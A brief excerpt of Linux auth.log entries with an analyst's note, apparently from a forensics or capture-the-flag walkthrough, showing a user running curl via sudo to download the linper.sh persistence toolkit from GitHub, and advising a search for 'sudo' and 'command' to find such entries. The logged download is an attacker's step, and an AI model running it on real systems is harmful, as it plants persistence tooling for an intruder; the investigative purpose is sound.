 Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
 Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
 Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

 * While auth.log isn’t designed to track all command executions like auditd, 
   it does log sudo commands due to authentication checks. use keywords such as
   sudo and/or command to find these entries

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